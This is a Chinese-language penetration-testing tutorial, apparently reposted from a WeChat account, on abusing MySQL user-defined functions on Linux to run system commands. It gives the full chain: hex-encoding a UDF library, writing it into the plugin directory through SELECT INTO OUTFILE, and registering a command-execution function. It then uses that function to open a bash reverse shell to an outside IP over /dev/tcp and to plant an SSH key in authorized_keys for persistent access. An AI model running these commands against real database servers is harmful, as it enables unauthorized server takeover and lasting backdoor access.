在入侵渗透过程中经常会遇到一些孤立的mysql服务器,或者是存在sql注入的web服务器,可以执行我们的命令或者可以直接连接。windows环境中,如果有mysql用户密码,并且允许远程连接,我们可以考虑用msf的mysql_payload,方便快捷,或者用udf的方式来进行操作,linux下面我们首选的就是udf了。不多废话,进入正题。
首先解决udf如何写入的问题,一般mysql的udf函数我们会首选sqlmap自带的几个,但是作为一个so文件,如何写入远程服务器的plugin目录才是我们所要关注的。这里有两种方式,一种是利用--local-infile=1直接加载文件到远程服务器,但是这样需要mysql客户端和服务端的mysql.cnf都要设置
--local-infile=1
才可以,默认情况下为零.所以,我们选择第二种方案,通过转换把udf转换成16进制后通过
select xxx into outfile (select xx into dumpfile) "/usr/lib/mysql/plugin/fuck.so" 这种方式来创建我们自己的udf。
这里我们使用vim来进行转换,使用xxd命令,
xxd -p lib_mysqludf_sys.so_ >>udf.txt
把转换后的hex文本写入到udf.txt,打开之后我们会发现,已经转换成了hex,但是一个新的问题来了,有很多换行符,这里我们通过sql命令来写入文件的时候,会造成执行多次直到结束,所以我们要去掉换行符,依然用vim编辑器的命令来转换:vi udf.txt
在命令行模式下,光标也移动到第一行,输入命令 :%s/n//g
然后你会发现所有的换行符都被替换掉了,由于需要保存为16进制的文件,所以我们只需要在第一个字符前加上0x,最后加上0000000000000,然后:wq保存退出,这是我们就得到了我们想要的udf转换后的16进制文本。
这时我们可以通过mysql导出udf.so文件到服务器上,
select 0x079cc526040f2bd56640bb……xxxxx……0000000000000 into outfile "/usr/lib/mysql/plugin/fuck.so"
然后创建函数:
create function sys_fuck returns integer soname "fuck.so";
查看我们的函数:
select * from mysql.func;
如果创建函数成功,会有一个叫sys_fuck的函数
接下来我们就可以利用这个udf函数来执行命令了,通常比如,反弹一个shell回来
select sys_fuck("bash -i >& /dev/tcp/192.168.1.104/5678 0>&1");
这样我们只需要在ip为192.168.1.104上监听5678端口,就可以得到mysql服务器的权限。
或者服务器允许ssh外链,我们写一个ssh的key到用户目录(这里需要有一定的权限,请自行测试)
select sys_fuck("echo "ssh-rsa AAAAB3……xxxxx……aeff" > /user/.ssh/authorized_keys");
windows环境的下的利用方法和这个流程一样,唯独需要注意的是,要选择windows下的mysqludf进行转换,一般windows环境下的mysql都以system权限启动,一般udf函数创建成功的话,得到的都是system权限。
本文始发于微信公众号(milsec):linux Mysql UDF 利用思路详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论